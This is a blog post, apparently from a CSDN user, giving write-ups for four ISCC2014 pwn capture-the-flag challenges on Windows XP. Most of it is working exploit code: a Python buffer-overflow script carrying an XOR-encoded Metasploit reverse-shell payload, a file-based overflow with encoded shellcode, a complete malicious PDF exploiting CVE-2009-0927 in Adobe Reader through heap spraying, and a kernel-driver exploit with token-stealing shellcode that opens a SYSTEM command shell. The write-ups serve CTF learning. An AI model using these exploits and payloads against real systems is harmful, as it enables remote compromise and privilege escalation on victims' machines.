ISCC2014--pwn

      第一次做iscc,感觉这个比赛内容很丰富,获得不少乐趣,把自己做的pwn的题解贴出来,在小白的成长之路上mark一下,还有很长的路要走。

 

题目与题解链接:http://pan.baidu.com/s/1qWGzvbe

 

以下是斗克之乱、远征郑国、镇压叛乱、晋楚争霸的题解。

 

运行环境:win xp sp2

 

运行程序如下图,给出了题目要求,看来shellcodetcp反向连接.

一没有输入框,二没有打开文件,那很可能就是服务端程序了。用IDA看看,果然是

端口号为1000.

python写个简单的连接程序,发现可以连接

#pwn200.py

import socket

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.connect(('127.0.0.1',1000))

s = sock.send(b’1111111111111111111’)

 

XP中用OD加载,在accept,recv,send函数上设断点。

程序弹出对话框后,运行pwn200.py,此时目标程序停在了accept函数上,F9继续跑,断在了recv函数处

Recv函数一次接收一个字节,循环接收,而判断停止接收的条件是‘end

就是这个漏洞造成了溢出,构造长字符串+end,找到溢出点在

现在就可以构造整个exp了,先解决shellcode,msfgui自动生成

//Payload windows/shell_reverse_tcp {LPORT=4444LHOST=127.0.0.1, Encoder=generic/none} 314 bytes.

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"

"\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"

"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"

"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52"

"\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"

"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"

"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b"

"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"

"\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"

"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"

"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"

"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07"

"\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54"

"\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"

"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf"

"\xe0\xff\xd5\x89\xc7\x68\x7f\x00\x00\x01"

"\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"

"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63"

"\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"

"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"

"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"

"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"

"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"

"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d"

"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"

"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"

"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"

"\x00\x53\xff\xd5";

 

由于里边含有’\x00’坏字符,用xor \x93编码

于是要构造解码器

lea eax,[esp+0x18]                根据具体情况布置,绕过aslr

xor edx,edx

mov bl,byte ptr ds:[eax+edx]         edx0,用来计数

xor bl, 0x93                      异或0x93

mov byte ptr ds:[eax+edx],bl

inc edx

cmp dx,0x13a                      解码314个字节后停止解码

jnz xxxx

 

#最终pwn200.py

import socket

 

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.connect(('127.0.0.1',1000))

 

junk = b'1'*68

jmp = b'\x12\x45\xfa\x7f'          #xp通用jmp esp

junk2 = b'2222'                #retn 04

decoder = b'\x8d\x44\x24\x18\x90\x33\xd2\x8A\x1C\x10\x80\xF3\x93\x88\x1C\x10\x42\x66\x81\xfa\x3a\x01\x75\xef'

shellcode_encode = (

b"\x6f\x7b\x1a\x93\x93\x93\xf3\x1a\x76\xa2\x41\xf7\x18\xc1\xa3\x18\xc1"+

b"\x9f\x18\xc1\x87\x18\xe1\xbb\x9c\x24\xd9\xb5\xa2\x6c\xa2\x53\x3f"+

b"\xaf\xf2\xef\x91\xbf\xb3\x52\x5c\x9e\x92\x54\x71\x63\xc1\xc4\x18"+

b"\xc1\x83\x18\xd1\xaf\x92\x43\x18\xd3\xeb\x16\x53\xe7\xd9\x92\x43"+

b"\xc3\x18\xdb\x8b\x18\xcb\xb3\x92\x40\x70\xaf\xda\x18\xa7\x18\x92"+

b"\x45\xa2\x6c\xa2\x53\x3f\x52\x5c\x9e\x92\x54\xab\x73\xe6\x67\x90"+

b"\xee\x6b\xa8\xee\xb7\xe6\x71\xcb\x18\xcb\xb7\x92\x40\xf5\x18\x9f"+

b"\xd8\x18\xcb\x8f\x92\x40\x18\x97\x18\x92\x43\x1a\xd7\xb7\xb7\xc8"+

b"\xc8\xf2\xca\xc9\xc2\x6c\x73\xcb\xcc\xc9\x18\x81\x78\x15\xce\xfb"+

b"\xa0\xa1\x93\x93\xfb\xe4\xe0\xa1\xcc\xc7\xfb\xdf\xe4\xb5\x94\x6c"+

b"\x46\x2b\x03\x92\x93\x93\xba\x57\xc7\xc3\xfb\xba\x13\xf8\x93\x6c"+

b"\x46\xc3\xc3\xc3\xc3\xd3\xc3\xd3\xc3\xfb\x79\x9c\x4c\x73\x6c\x46"+

b"\x1a\x54\xfb\xec\x93\x93\x92\xfb\x91\x93\x82\xcf\x1a\x75\xf9\x83"+

b"\xc5\xc4\xfb\x0a\x36\xe7\xf2\x6c\x46\xfb\xf0\xfe\xf7\x93\x1a\x70"+

b"\xc4\xc4\xc4\xa2\x65\xf9\x81\xca\xc5\x71\x6e\xf5\x54\xd7\xb7\xaf"+

b"\x92\x92\x1e\xd7\xb7\x83\x55\x93\xd7\xc7\xc3\xc5\xc5\xc5\xd5\xc5"+

b"\xdd\xc5\xc5\xc0\xc5\xfb\xea\x5f\xac\x15\x6c\x46\x1a\x73\xdd\xc5"+

b"\xd5\x6c\xa3\xfb\x9b\x14\x8e\xf3\x6c\x46\x28\x63\x26\x31\xc5\xfb"+

b"\x35\x06\x2e\x0e\x6c\x46\xaf\x95\xef\x99\x13\x68\x73\xe6\x96\x28"+

b"\xd4\x80\xe1\xfc\xf9\x93\xc0\x6c\x46"

 

    )

junk3 = b'3'*159+b'end'       #结束标志

exp = junk + jmp + junk2 + decoder + shellcode_encode + junk3

 

sock.send(exp)

 

在溢出之前,要先运行一个tcp服务端程序,处在listen 4444端口的状态

 

这是解码后的状态,选中条以上时解码程序,以下是shell_reverse_tcp的程序

 

F9运行后,监听等待着的tcp服务端程序就如下图,接收到本地的cmd接口。

 

 

1.       首先运行程序,如上图。更改key.txt里的内容后如下图。

2.       显然程序是与key.txt交互,读取内容并判断,不过这个不是要关注的重点。先写进一串长字符串试试,如下图。

3.溢出漏洞很明显了,以上时在win7中进行的,以下就进入XP sp2进行,用OD加载程序,通过用二分法垃圾填充找到溢出点

溢出发生在这个函数中,

于是构造exploit,shellcode要编码,避免出现\x00,本题的坏字符还有\x1a.

#py

f = open(r'c:\key.txt','w',encoding='utf-8')

        

junk1 = "1"*20+"2"*20+"3"*20+"4"*20+"5"*20+"6"*20+"7"*12

jmp = "\x12\x45\xfa\x7f"     #XP中的通用jmp esp地址

decoder = "\x2D\x01\x40\x24\x37\x33\xD2\x8A\x1C\x10\x80\xF3\xAA\x88\x1C\x10\x42\x80\xFA\xAA\x75\xF1"                  #解码器

shellcode_encode = (

"\x73\x41\x31\x73\xde\x8e\x5e\x9b\x78\x18\xdd\x9b\x63\xce\x21\xdb\x9a"

"\x21\xdc\xa6\x21\xdc\xb6\x21\xec\xa2\x21\xd4\x8a\x21\x9c\x92\xe5"

"\xb2\xdf\x59\xf3\xab\x7b\x55\x4b\xca\x21\xc6\x8e\x8e\x21\xef\x96"

"\x21\xfe\x82\xd2\xab\x40\x21\xe0\xb2\x21\xf0\x8a\xab\x41\x49\x9e"

"\xe3\x21\x9e\x21\xab\x44\x9b\x55\x9b\x6a\x56\x06\x2e\x6a\xde\xad"

"\x6b\x65\xa7\xab\x6d\x41\x5e\x91\xd6\x8e\x82\xdf\x4b\x21\xf0\x8e"

"\xab\x41\xcc\x21\xa6\xe1\x21\xf0\xb6\xab\x41\x21\xae\x21\xab\x42"

"\x23\xee\x8e\xb6\xcb\x69\x18\xa2\x83\x7e\x23\x4f\x23\x68\xc2\x24"

"\xe4\xa4\x46\xf8\x42\x35\x55\x55\x55\x23\xef\xae\x11\xd4\x72\x48"

"\xd9\x2d\xb6\x8e\xf8\x42\x24\x55\x55\x55\x23\xef\xa2\xc2\xc6\xc6"

"\x8a\xeb\xc2\x99\x98\x84\xce\xc2\xdf\xd9\xcf\xd8\x22\xf6\x8e\xa0"

"\x23\x4c\xfc\x55\xff\xae\x23\x68\xfa\x11\x02\x08\xe7\x16\x2d\xb6"

"\x8e\xf8\x42\xcb\x55\x55\x55\xc2\xc5\xd2\xf2\x8a\xc2\xcb\xcd\xcf"

"\xe8\xc2\xe7\xcf\xd9\xd9\x9b\x71\x22\xf6\x8e\xa0\x23\x49\xc2\xf2"

"\x8a\x8a\x8a\xc2\xe3\xf9\xe9\xe9\x9b\x63\x22\xe6\x8e\xae\x23\x4b"

"\x9b\x78\xf8\xf9\xfb\xf8\x55\x7a\x9b\x6a\xfa\x55\xff\xa2"             #已编码的shellcode

 )

s = junk1 + jmp + decoder + shellcode_encode

f.write(s)

f.close()

 

 

第一次提交时shellcode没有退出功能,这一次用msfgui生成了一个shellcode.

Payload windows/messagebox {TEXT=ISCC, Encoder=generic/none} 255 bytes.

 

ruby

"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2"+

"\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c"+

"\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"+

"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff"+

"\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b"+

"\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"+

"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"+

"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74"+

"\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"+

"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"+

"\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04"+

"\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"+

"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"+

"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"+

"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"+

"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c"+

"\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75"+

"\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"+

"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d"+

"\xbc\x87\x1c\x24\x52\xe8\x61\xff\xff\xff"+

"\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42"+

"\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24"+

"\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x49"+

"\x53\x43\x43\x31\xc9\x88\x4c\x24\x04\x89"+

"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31"+

"\xc0\x50\xff\x55\x08

 

\xAA异或编码。

 

       构造好key.txt后运行程序

 

 

 

呵呵,Adobe reader 9.0中文版的漏洞,信息太明显了,我想看过《0day》的都知道了,CVE-2009-0927,之前没实践过,趁此机会就实践实践。

 

这个漏洞是getIcon函数的一个缓冲区溢出漏洞。

这个strncpy就是溢出点,虽说是有长度限制,但长度就是源字符串的长度。要触发这个漏洞,要用到JS.调用getIcon()触发异常,这次采用堆喷射技术,原来用0c0c0c0c覆盖异常处理函数,但不是每次都能命中,于是用0c0f0c0c覆盖异常处理函数,这是我第一次用堆喷射,为此又看了《Exploit编写系列教程第十一篇:堆喷射技术揭秘》。

 

以下为测试文件 1.pdf

 

%PDF-1.1

 

1 0 obj

<< 

 /Type /Catalog

 /Outlines 2 0 R

 /Pages 3 0 R

 /OpenAction 7 0 R

>> 

endobj

 

2 0 obj

<< 

 /Type /Outlines

 /Count 0

>> 

endobj

 

3 0 obj

<< 

 /Type /Pages

 /Kids [4 0 R]

 /Count 1

>> 

endobj

 

4 0 obj

<< 

 /Type /Page

 /Parent 3 0 R

 /MediaBox [0 0 612 792]

 /Contents 5 0 R

 /Resources <<

             /ProcSet [/PDF /Text]

             /Font << /F1 6 0 R >>

            >>

>> 

endobj

 

5 0 obj

<< /Length 98 >>

stream

BT /F1 12 Tf 100 700 Td 15 TL (Open File Error!  Maybe the file is damaged!

) Tj ET

endstream

endobj

 

6 0 obj

<< 

 /Type /Font

 /Subtype /Type1

 /Name /F1

 /BaseFont /Helvetica

 /Encoding /MacRomanEncoding

>> 

endobj

 

7 0 obj            关键部分

<< 

 /Type /Action

 /S /JavaScript

 /JS (

 

var shellcode =

unescape("%u33fc%ub2d2%u6430%u32ff%u8b5a%u0c52%u528b%u8b14%u2872%uc933%u18b1%uff33%uc033%u3cac%u7c61%u2c02%uc120%u0dcf%uf803%uf0e2%uff81%ubc5b%u6a4a%u5a8b%u8b10%u7512%u8bda%u3c53%ud303%u72ff%u8b34%u7852%ud303%u728b%u0320%u33f3%u41c9%u03ad%u81c3%u4738%u7465%u7550%u81f4%u0478%u6f72%u4163%ueb75%u7881%u6408%u7264%u7565%u49e2%u728b%u0324%u66f3%u0c8b%u8b4e%u1c72%uf303%u148b%u038e%u52d3%u7868%u6365%ufe01%u244c%u6803%u6957%u456e%u5354%ud2ff%u6368%u646d%ufe01%u244c%u6a03%u3305%u8dc9%u244c%u5104%ud0ff%u6568%u7373%u8b01%ufedf%u244c%u6803%u7250%u636f%u4568%u6978%u5474%u74ff%u2024%u54ff%u2024%uff57%u80d0%u8080");               运行cmd

var nops = unescape("%u9090%u9090");     nop填充

while (nops.length < 0x100000)

nops += nops;

  nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);

  nops=nops+shellcode;

  var memory = new Array();

  for (var i=0;i<200;i++)

memory[i] += nops;

var str = unescape("%0c%0c%0f%0c");            

while(str.length < 0x6000)

  str += str;

app.doc.Collab.getIcon(str+'aaaaD.a');       触发函数

 

)

>> 

endobj

 

xref

0 8

0000000000 65535 f

0000000010 00000 n

0000000098 00000 n

0000000147 00000 n

0000000208 00000 n

0000000400 00000 n

0000000549 00000 n

0000000663 00000 n

trailer

<< 

 /Size 8

 /Root 1 0 R

>> 

startxref

1946

%%EOF

 

OD调试时,加载测试文件,进入触发点函数后的栈

然后将不停的向栈中复制“0c0f0c0c

当整个栈被覆盖完后,触发异常

然后就跳到了0C0F0C0C

然后一路到我们的shellcode

执行!

 

                                                                                                 

 

 

IDA分析一下这个.sys文件

每个函数都看了一下,是最基本的NT驱动程序,与用户交互的函数是DriverDeviceIOControl函数。

NTSTATUS __stdcall DriverDeviceIOControl(int a1, PIRP Irp)

{

  int v2; // ST38_4@1

  ULONG v4; // [sp+24h] [bp-20h]@1

  NTSTATUS v5; // [sp+28h] [bp-1Ch]@5

  struct _IRP *v6; // [sp+30h] [bp-14h]@2

  size_t v7; // [sp+34h] [bp-10h]@1

  struct _IRP *v8; // [sp+3Ch] [bp-8h]@2

 

  v4 = 0;

  DbgPrint("DriverDeviceIOControl\n");

  v2 = sub_10490(Irp);                          // v2:PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp)

  v7 = *(_DWORD *)(v2 + 8);                     // v7=IO_STACK_LOCATION->options

  if ( *(_DWORD *)(v2 + 12) == 2236416 )        // FileAttributes

  {

    v8 = Irp->AssociatedIrp.MasterIrp;          // Irp->AssociatedIrp.SystemBuffer

    v6 = Irp->AssociatedIrp.MasterIrp;          // Irp->AssociatedIrp.SystemBuffer

    if ( off_106E0(v8) )                        // v8<0x40(64)

    {

      memcpy("Good Luck!\n", v8, v7);

      memcpy(v6, "Welcome To ISCC2014!\n", strlen("Welcome To ISCC2014!\n"));

      v4 = strlen("Welcome To ISCC2014!\n");

    }

    else

    {

      *(_DWORD *)&v6->Type = dword_10AB0;

      v6->MdlAddress = (PMDL)dword_10AB4;

      LOWORD(v6->Flags) = word_10AB8;

      v4 = 10;

    }

    v5 = 0;

  }

  else

  {

    v5 = -1073741262;

  }

  Irp->IoStatus.Status = v5;

  Irp->IoStatus.Information = v4;

  IofCompleteRequest(Irp, 0);

  return v5;

}

 

本来只用IDA分析的,可是只有Irp->AssociatedIrp.MasterIrp,这不是内核与用户交互的四种方法的任何一种,百度也没详细讲这个的,郁闷。直接用WINDBG开始调试虚拟机了,经过几次尝试,才发现是IDA分析错了,其实是Irp->AssociatedIrp.SystemBuffer,即用的是METHOD_BUFFERED方式。

然后发现,v7 DeviceIoControl(hDevice, IOCTL_TEST1, InputBuffer, sizeofinput, &OutputBuffer, 100, &dwOutput, NULL);中的sizeofinput参数,而该驱动对字符串做出的长度限制是用的strlen()函数得到的,所以我可以这样在开始的64字节内设一\x00,而sizeofinput则为实际memcpy要拷贝的长度,这样溢出就发生了,\(^o^)/

 

经过尝试,memcpy的目的地址是数据段的如下部位

向下就到了CreateDevice,DriverUnload,DrvDispatch,DriverDeviceIOControl的代码。

溢出函数就在下图红行处。

为了绕过aslr获得EIP控制权,我将我输入的数据覆盖到bafc9840处,因为程序之后会跳到这个地方,840处布置为jmp语句,让它跳到我的shellcode处,执行提升权限的shellcode后再调回845处,这之间要维持堆栈平衡,和执行被覆盖了的指令,这都是我调了2天得到的经验啊,重启,开windbg,输入命令,然后崩溃,再重启。。。太惨了。。。。

 

以下是用来与内涵驱动交互的程序

#include <windows.h>

#include <stdio.h>

#include <winioctl.h>

#define IOCTL_TEST1 CTL_CODE(\

         FILE_DEVICE_UNKNOWN,\

         0x800,\

         METHOD_BUFFERED,\

         FILE_ANY_ACCESS)

 

int main()

{

       HANDLE hDevice =

              CreateFile("\\\\.\\ISCC2014ExploitMe",

                                   GENERIC_READ | GENERIC_WRITE,

                                   0,           // share mode none

                                   NULL,    // no security

                                   OPEN_EXISTING,

                                   FILE_ATTRIBUTE_NORMAL,

                                   NULL );         // no template

 

       if (hDevice == INVALID_HANDLE_VALUE)

       {

              printf("Failed to obtain file handle to device: "

                     "%s with Win32 error code: %d\n",

                     "MyWDMDevice", GetLastError() );

              return 1;

       }

 

       UCHAR InputBuffer[]=

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00//垃圾填充

"\x80\x08\xfd\xba\x7d\x1e\xfd\xba\x82\xe1\x02\x45\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //以原数据填充

 

//shellcode

"\x60\xB8\x24\xF1\xDF\xFF\x8B\x00\x8B\xB0\x20\x02\x00\x00\x8B\xC6\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x8B\x90\x84\x00\x00\x00\x83\xFA\x04\x75\xEA\x8B\x80\xC8\x00\x00\x00\x8D\x9E\xC8\x00\x00\x00\x89\x03\x61"

"\x8b\xff\x55\x8b\xec\xe9\xf6\x00\x00\x00"

//以原代码段数据填充

"\xeb"

"\x4d\xfc\x8b\x51\x1c\x83\xca\x10\x8b\x45\xfc\x89\x50\x1c\x8b\x4d"

"\xfc\x8b\x51\x28\x89\x55\xe4\x8b\x45\xe4\x8b\x4d\xfc\x89\x08\x8b"

"\x55\xe4\x8b\x45\xf4\x89\x42\x04\x8b\x4d\xf8\x89\x4a\x08\x68\x40"

"\x0a\xfd\xba\x8d\x55\xec\x52\xff\x15\x90\x05\xfd\xba\x8b\x45\xe4"

"\x8b\x4d\xec\x89\x48\x0c\x8b\x55\xf0\x89\x50\x10\x8d\x45\xf4\x50"

"\x8d\x4d\xec\x51\xff\x15\x88\x05\xfd\xba\x89\x45\xe8\x83\x7d\xe8"

"\x00\x7d\x0f\x8b\x55\xfc\x52\xff\x15\x84\x05\xfd\xba\x8b\x45\xe8"

"\xeb\x02\x33\xc0\x8b\xe5\x5d\xc2\x04\x00\xcc\xcc\xcc\xcc\xcc\xcc"

"\x8b\xff\x55\x8b\xec\x83\xec\x10\x8b\x45\x08\x8b\x48\x04\x89\x4d"

"\xf4\x83\x7d\xf4\x00\x74\x39\x8b\x55\xf4\x8b\x42\x28\x89\x45\xf0"

"\x8b\x4d\xf0\x8b\x51\x0c\x8b\x41\x10\x89\x55\xf8\x89\x45\xfc\x8d"

"\x4d\xf8\x51\xff\x15\x94\x05\xfd\xba\x8b\x55\xf4\x8b\x42\x0c\x89"

"\x45\xf4\x8b\x4d\xf0\x8b\x11\x52\xff\x15\x84\x05\xfd\xba\xeb\xc1"

"\x68\xa0\x0a\xfd\xba\xe8\xba\xfc\xff\xff\x83\xc4\x04\x8b\xe5\x5d"

"\xc2\x04\x00\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"

 

"\xe9\xcb\xfe\xff\xff";    //JMP

 

    int sizeofinput=strlen((char*)InputBuffer)+359;

 

       UCHAR OutputBuffer[100];

       //将输入缓冲区全部置成0XBB

       //memset(InputBuffer,0xBB,10);

       DWORD dwOutput;

       //输入缓冲区作为输入,输出缓冲区作为输出

 

       BOOL bRet;

       bRet = DeviceIoControl(hDevice, IOCTL_TEST1, InputBuffer, sizeofinput, &OutputBuffer, 100, &dwOutput, NULL);

       if (bRet)

       {

              printf("Output buffer:%d bytes\n",dwOutput);

              for (int i=0;i<(int)dwOutput;i++)

              {

                     printf("%c",OutputBuffer[i]);

              }

              printf("\n");

       }

 

       CloseHandle(hDevice);

            system("cmd");       //最后以SYSTEM权限启动一个cmd

 

       return 0;

}

 

CmdExepwn350.exe的权限都提到SYSTEM权限了。

 

还有一道“改革国政”,是格式化漏洞的题,可惜没做出来,最后一道问鼎中原,那个win7版本和IE实在是难找到,尽管后来ISCC给了下载,也没时间做了,PWN这部分的题就这样了,又学到了很多姿势。坐等大牛的writeup。                                                                                                                                                              

 

 

 

 

                                                            

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值